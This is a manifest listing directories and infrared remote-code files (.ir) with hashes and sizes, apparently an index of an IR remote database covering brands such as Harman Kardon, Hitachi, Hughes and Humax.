-D:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B -F:0e91b21031b2b4ed2086b86b3169c80e:1854:infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir -F:14d73bb2deaff9737329a0b26ccd756a:2120:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir -F:e785855e0f9f7413c7b6ccace543430e:2144:infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir -F:1c4d5261c353a5ad8b98b0b89a3ba8ed:4047:infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir -F:93173107227ae9dd6bb97d73e03cb7ab:2121:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir -F:c5170fd2e2f1d981d3279fb70a69ffe0:2043:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir -F:b3bc8e918ad05aa9b5966f7833ad51a3:2136:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir -F:9424e5941e8ddfba4a63f425480fc172:3890:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir -D:infrared/_CSV-IRDB_/HQ/Unknown_RC -F:05f453b4fa4cc432f70b75e2e2cafbf5:2601:infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir -D:infrared/_CSV-IRDB_/HQV/Video Processor -F:5429a3dc330f21cc3ccc92155ce12080:1747:infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir -D:infrared/_CSV-IRDB_/Hama/Unknown_Internet -D:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer -F:5602483bc26bc7f5064ea7267e4c2d21:2423:infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir -F:deab634b2f4fd4935c298e50fa6acf37:2185:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir -D:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay -F:f49dc97c21e2568b61d5d3ed7df4e25f:663:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir -D:infrared/_CSV-IRDB_/Harman Kardon/Amplifier -D:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray -D:infrared/_CSV-IRDB_/Harman Kardon/CD Changer -D:infrared/_CSV-IRDB_/Harman Kardon/CD Player -D:infrared/_CSV-IRDB_/Harman Kardon/CD-R -D:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape -D:infrared/_CSV-IRDB_/Harman Kardon/DVD Player -D:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier -D:infrared/_CSV-IRDB_/Harman Kardon/Receiver -D:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor -D:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver -D:infrared/_CSV-IRDB_/Harman Kardon/Tuner -D:infrared/_CSV-IRDB_/Harman Kardon/Unknown -D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD -D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730 -D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD -D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon -D:infrared/_CSV-IRDB_/Harman Kardon/Video Projector -D:infrared/_CSV-IRDB_/Harman Kardon/iPod -F:62a26a3a5c29e6c5b1c4ccc1c26fc51f:891:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir -F:65a8c81981f15254ca94e571dece5398:302:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir -F:89c04b8b848f846b45cde51ee6e4a323:3917:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir -F:c607f65ad2f7befb09280a43cbce370d:2593:infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir -F:3d545c18a21e5f18f0dd8fcc64323c99:1660:infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir -F:d08ed1d587036ac48e953827a1c37822:8453:infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir -F:7e1c2bfd1b674f45f5c8f3d350cfc9b2:4827:infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir -F:a1a65093e09b9364f642515f0ad5581c:475:infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir -F:959c55435d8aa0316d2f7de49f7ae419:1273:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir -F:01b9e9daa621b4df394b23499be04623:10531:infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir -F:a78f91e814f559c8b90552861d8113cc:2819:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir -F:6292ec8e627f7af0b8890ef314ec26d9:784:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir -F:a2ed6b6bcfb9f2e9d75602ac5dec9e39:29208:infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir -F:d5135beb02cd5c3cdfb093ada8570730:25569:infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir -F:2fcc8adc0e273a29e87c71833494f95c:666:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir -F:2b34a8a6f1dc2c1193d3486a715ab951:4041:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir -F:82c16f0ecd7c5975c4d1e282fc988405:3021:infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir -F:a1cc0ff623edc284b1f46ff9a408ff5a:612:infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir -F:4fe2dc7f6555bd8f62276a8f1bb9aab7:201:infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir -F:b44247e6df17ca6a4a09d470510b497c:577:infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir -F:8bc3cb21c8113d1dc1ef88eb0fce03e5:581:infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir -F:5456df1a5a9135f8e140b3a6fa797ab2:121:infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir -F:6755e837456a2efa02982a432298c334:120:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir -F:df22548e8ab5e9738c9c4a0bd870bf6d:123:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir -F:f8acdd38ccf22c453f86b3ca36a8b227:5672:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir -F:14072d5d2212030877320b689d2f5f99:4194:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir -F:2ba749758fae4edbdb494b70a1910b34:724:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir -F:615821cb1ff4fcd1365a2ac26daec21b:377:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir -F:47e3abc0d2804137a92c25d143e2175c:122:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir -F:f77e9533775e844385d6dafa380d051a:121:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir -F:ba33e0467a0d54d102a7db1973549981:943:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir -F:2d1d0ebb99751d0801a2762d915eedd8:123:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir -F:3ece681bc88a070010e493ae0bc7d4ad:387:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir -F:ac3b389042fe879e192cddc4f304e0cf:2365:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir -F:ca54e87e35f2d0053db7e1d07cd7ae3b:2172:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir -F:e20bd218426a2f4cbee2e32c6bcab6be:1576:infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir -F:3c29a5f0f1ac2a0000238a609d414200:5649:infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir -F:b030f1eed902e5dc8b2f310499e3de08:3154:infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir -F:959c55435d8aa0316d2f7de49f7ae419:1273:infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir -F:1d4b0a2fcfdeef8b49f9f8671bab071e:3840:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir -F:3dc4d6ab5db9724759bbf9989b128b4b:2435:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir -F:362be9f85c37c6cebd43fbe59c9f5888:3833:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir -F:56ac12bab2a1e377be6d9cd63eb1cfe6:2664:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir -F:2d1814baafddee00e34015f75457c26b:1882:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir -F:7cd0ff4c05abac08b0fbc97e0fd1625e:1995:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir -F:81c578332e116d0bfe7ca3515ef15b48:1738:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir -F:1d04463e2aa3a1fc7cf9ad10bec2e1a4:122:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir -F:85448ca59b90a06dbcbf2a1132e669c7:745:infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir -D:infrared/_CSV-IRDB_/Harman Video/Video Projector -F:7cd0ff4c05abac08b0fbc97e0fd1625e:1995:infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir -F:1d04463e2aa3a1fc7cf9ad10bec2e1a4:122:infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir -D:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor -F:02e8c7045fa60e2089c2474079103559:4385:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095 -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808 -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q -D:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb -F:fb9a672c006dac250575837eb751ad9e:2995:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir -F:ad78d2e741277f7bfcd9cf7bcb77676a:3049:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir -F:dc6faf5d9e0e7ce1037af81c1e65f34d:3423:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir -F:9f13026cdf30b4109c16068ccb077d4f:3950:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir -F:3615717627c183f953eac333e4d92d05:3164:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir -F:1e2b9662790b58ef63a2780eb03d04e1:2313:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir -D:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty -F:2925af2cafa99d793f25dbf7fcbd336b:2958:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir -D:infrared/_CSV-IRDB_/Herma/Dipper -F:ef97ea7b75a90c3937666bfbdd1971f7:10988:infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir -D:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio -F:748532014b7d551a74c57e0000b5aaf8:3564:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir -D:infrared/_CSV-IRDB_/Hewlett Packard/Plasma -D:infrared/_CSV-IRDB_/Hewlett Packard/TV -F:11cb928496ce46e5c1cc7b17bf2ecf7f:3488:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir -F:ab0fb63a6f7557cab38f1b6086902295:1305:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir -F:11cb928496ce46e5c1cc7b17bf2ecf7f:3488:infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir -F:2f1fd6a610f9525e2a277cd6f6a8ea7a:2601:infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir -D:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics -F:e8092ade0634293ea5f91c0ba78d14d8:295:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir -D:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002 -F:5e3d820ae84c456798c680e147e1b554:1476:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir -D:infrared/_CSV-IRDB_/Hirschmann/Satellite -D:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426 -F:f80d9b56022c249634d7767ea36cec07:3011:infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir -F:64a66050c87428e701898abfddc091dd:2493:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir -D:infrared/_CSV-IRDB_/Hitachi/CD Player -D:infrared/_CSV-IRDB_/Hitachi/Cable Box -D:infrared/_CSV-IRDB_/Hitachi/DSS -D:infrared/_CSV-IRDB_/Hitachi/DVD Player -D:infrared/_CSV-IRDB_/Hitachi/Display -D:infrared/_CSV-IRDB_/Hitachi/LCD -D:infrared/_CSV-IRDB_/Hitachi/Monitor -D:infrared/_CSV-IRDB_/Hitachi/Plasma -D:infrared/_CSV-IRDB_/Hitachi/TV -D:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941 -D:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947 -D:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345 -D:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E -D:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7 -D:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV -D:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi -D:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf -D:infrared/_CSV-IRDB_/Hitachi/VCR -D:infrared/_CSV-IRDB_/Hitachi/Video Projector -F:4340f6d271c37af8278cee0442a428a9:3133:infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir -F:c01dea7d8454543a0449717b516baa62:558:infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir -F:d5b3b5efdf69607b0113bb3822bc3de3:9807:infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir -F:bcdc9279505343406bd91b9692e36bf0:307:infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir -F:8b1c444c11626c7003f2f05d4a323731:127:infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir -F:f111e43524d3d0e878f68bccd85175f1:122:infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir -F:15d3a55ac736c93bacb65e4c2063cf57:2175:infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir -F:872cc641a727236509f310fc5ab44e7c:1853:infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir -F:6b8204e35d98017da5065f7ad444e994:125:infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir -F:9b2d3bd861053f2f69931e14468c70bc:3400:infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir -F:6b7c09101c4f6e48328831b224367c23:740:infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir -F:3bac49674849251b70f11696a06fc333:125:infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir -F:08291bc5cb0868814ee1b3ac82957838:1787:infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir -F:d2dc98f82619576002e684034f036b92:7953:infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir -F:7d07215670d08e98995512c4a7fa5721:2970:infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir -F:3a32c92475227604614eb8b5b180b241:118:infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir -F:bfb9ce5fd071300a1b9fdcf59c036c57:295:infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir -F:868edd38173721e69323d7e7bbe29107:216:infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir -F:b42fbd7ffcb08cbf0a6b3802873b2237:2617:infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir -F:2534d8bc0111ea664211d87bfb7d743f:1908:infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir -F:ac3013b6b05f1964e16011c6526acfb7:17698:infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir -F:4b1fe1f0123af954f2d0de4703022860:129:infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir -F:7b22ded13e511a98b14c8a205007a8ab:1571:infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir -F:dab7d37377fa7d8a3ee8dfef58cdc4a7:208:infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir -F:b2d11a503d4082b4819c44d48879bdb4:2502:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir -F:4cdb30c9d8336b464e957c8a7d474887:2752:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir -F:acb61dbd5c139c4b7da7ad427703682c:2338:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir -F:9e5d337af845dba7c8df69ef541116dd:3688:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir -F:3c9020b82ab84b12b09f7ace9c39ed0e:2565:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir -F:803bc5e13d2bbfbda0edbfe642d810a7:2333:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir -F:99e52aa38d06a9e75c7875a972503034:936:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir -F:9ecf3ce4d787f754b977c465fcc9ee4d:2242:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir -F:afbb805e2bc44a7f6aa13f8213b816bc:2703:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir -F:a66e1fb603adbbce587945a6672830be:3350:infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir -F:ebb84f99c0bfa70e0130c0fc22f7a449:6850:infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir -F:067826fec995d891209781aa43164a3c:397:infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir -F:ba3dde1e7e3391cf10c935a85e7b0e9d:1690:infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir -F:173812d2de78119c2d3b4d5f62b87fc1:5415:infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir -F:c64764aab0492d8186c04760e7166bad:1611:infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir -F:0d66ff2891f40d8d7af7eb943f78ee78:35599:infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir -F:278bf2666dc1caf22462dbdcb94bd10b:22029:infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir -F:f800d841f18eb3d8a84c999004cf5448:1109:infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir -F:8b8cf00c4e860136bc740d915df9e27f:844:infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir -F:dc32de451e36d743d015e4f00b8706f7:8709:infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir -F:a97278e2567c29e7219e552062e0d0d7:1711:infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir -D:infrared/_CSV-IRDB_/Hiteker/DVD Player -F:9e0136deb3961058800e2b85934b6a64:3057:infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir -D:infrared/_CSV-IRDB_/Hivion/Unknown_SAT -F:99a9fde05c77da1a27c0b1e0c80e910c:3570:infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir -D:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner -F:6d7bfed6a738eb22479708418e693f1e:5261:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir -D:infrared/_CSV-IRDB_/Homecast/Satellite Receiver -D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S -D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T -F:642991e7db7836811aac372b229af1d0:4077:infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir -F:1821ef4bf683d677ed32b91640284d0d:2854:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir -F:a5382beed41a7d3402cbacf66a36a55b:3219:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir -D:infrared/_CSV-IRDB_/Hughes/DSS -D:infrared/_CSV-IRDB_/Hughes/DVR -D:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo -D:infrared/_CSV-IRDB_/Hughes/HD with TiVo -D:infrared/_CSV-IRDB_/Hughes/Satellite -D:infrared/_CSV-IRDB_/Hughes/TiVo -D:infrared/_CSV-IRDB_/Hughes/Unknown_DSS -D:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8 -D:infrared/_CSV-IRDB_/Hughes/Unknown_b2 -D:infrared/_CSV-IRDB_/Hughes/VCR -F:a631874bbe26c8327c56242b7b3dbce1:741:infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir -F:84eeecee96d67396903ce0672e0dde41:2873:infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir -F:0fa78116facda6abc61c2daa0826dc74:10606:infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir -F:1a3f9ef831f38e4ea9b29c97caf9afb7:3958:infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir -F:b6c259789113b4b8d18df4654da84ff0:559:infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir -F:22e4d1482a98a0f3dfd56ea3e5eb04a9:472:infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir -F:0501ae427b09d469c430a2cf068567bd:2069:infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir -F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir -F:b8f899dd334fb1425c898fa40bc91d02:3573:infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir -F:919ed238246469e502d25f0a01ba2b58:3128:infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir -F:4d6350eb4894e11bb4d6237aeb61a90c:3097:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir -F:d372f0349d6ab957cf7f63cdc4b80789:5064:infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir -F:a631874bbe26c8327c56242b7b3dbce1:741:infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir -F:84eeecee96d67396903ce0672e0dde41:2873:infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir -F:6d31f433b05a268ae5cba7d1a9c90b12:10857:infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir -F:14784e904225551ec00f3c40b49ecf8b:553:infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir -F:b6c259789113b4b8d18df4654da84ff0:559:infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir -F:6a48abc9be58c5084075eef02a53bf35:472:infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir -F:0501ae427b09d469c430a2cf068567bd:2069:infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir -F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir -F:e91fcb158a657f5018fcfab6efae6728:2891:infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir -F:df920a38ce1c11dbc8d2f812b58a228b:2155:infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir -F:68d3e6142967c8c5fe80b458de94a4c5:2868:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir -F:df920a38ce1c11dbc8d2f812b58a228b:2155:infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir -F:8b13450eaf5d69918b98411c0e25fd54:1915:infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir -F:be40d5e60da042693c6bf184183cdb5e:124:infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir -D:infrared/_CSV-IRDB_/Humax/Com Hem Box -D:infrared/_CSV-IRDB_/Humax/HDTV Tuner -D:infrared/_CSV-IRDB_/Humax/Satellite -D:infrared/_CSV-IRDB_/Humax/Tivo + DVD -D:infrared/_CSV-IRDB_/Humax/Unknown_F1CI -D:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX -D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI -D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P -D:infrared/_CSV-IRDB_/Humax/Unknown_RS-521 -D:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf -F:2d3b8a09d0bb1a194ce55c4c365568ce:3174:infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir -F:e73896558f391dae35f68731324f1516:3021:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir -F:130780da60df9a6392bd64270f7c474b:2712:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir -F:8511c37db402db69cd7160e12f13ee6c:4670:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir -F:9eb92ce4244995df3d385fd195a51917:3186:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir -F:4061bdc8b2d54426ca4732ac21a03c18:290:infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir -F:f394113b07cf74b723a0328e95fe518c:3458:infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir -F:8dbcc3dd079b2475ad5b9165e20df75c:3063:infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir -F:c4f3047e4e5a5663a1474dd307c4d1de:3524:infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir -F:0cb186bbc24cf6be994fd7d0b973513b:2935:infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir -F:41ad4bc63be7b356d64b90c8387a4f43:3723:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir -F:9b1f8b342dbd4beb615c5a9f475dc988:2952:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir -F:bc61925f0279beca9492d7ac9996cdc5:4496:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir -F:76cb215b31ab147d7c71b02d01c9ad39:3520:infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir -F:6c421584fd6c36b359d76a93ab8e9156:2945:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir -D:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N -D:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t -F:5cc52952134fd77d24e5dbc48257de48:4373:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir -F:491d8be41717b9049a6766ad578dfddd:2091:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir -D:infrared/_CSV-IRDB_/I-O Data/DVD Player -F:4deccbd6aab865717e4d575e9d8401ed:4080:infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir -D:infrared/_CSV-IRDB_/I24/Unknown_I24 -F:4cbab173c8bae95a796ac81798c68290:2157:infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir -D:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray -F:d21c929738734335851243ca6388d88a:4676:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir -D:infrared/_CSV-IRDB_/ITT/Unknown_ITT -D:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA -D:infrared/_CSV-IRDB_/ITT/Unknown_RC40 -D:infrared/_CSV-IRDB_/ITT/Unknown_RC51 -F:1337c37abe480c40b7b1b450b2e353fa:3571:infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir -F:73c8db85b6ef9b2f91d72cc404248aaa:4646:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir -F:f739d572154d620755f8e17d1610d486:1447:infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir -F:8398ca85fb310eb3ae277e3c40eb3e8a:1274:infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir -D:infrared/_CSV-IRDB_/Illusion/Unknown_M3 -F:481ec16235a859c5d8a163103707c332:3461:infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir -D:infrared/_CSV-IRDB_/Imerge/Digital Jukebox -F:7a7263cbdb9e1bc3808edd6f7ea498cd:3401:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir -F:1bd6704d8bb090252e073cddc32781ae:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir -F:64bbd2bac5a9c481ad573520bf41616d:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir -F:a1ccc707878d640e226d73f63bae1331:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir -F:d978e4e77b3bc80f13d5dc1377baabdd:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir 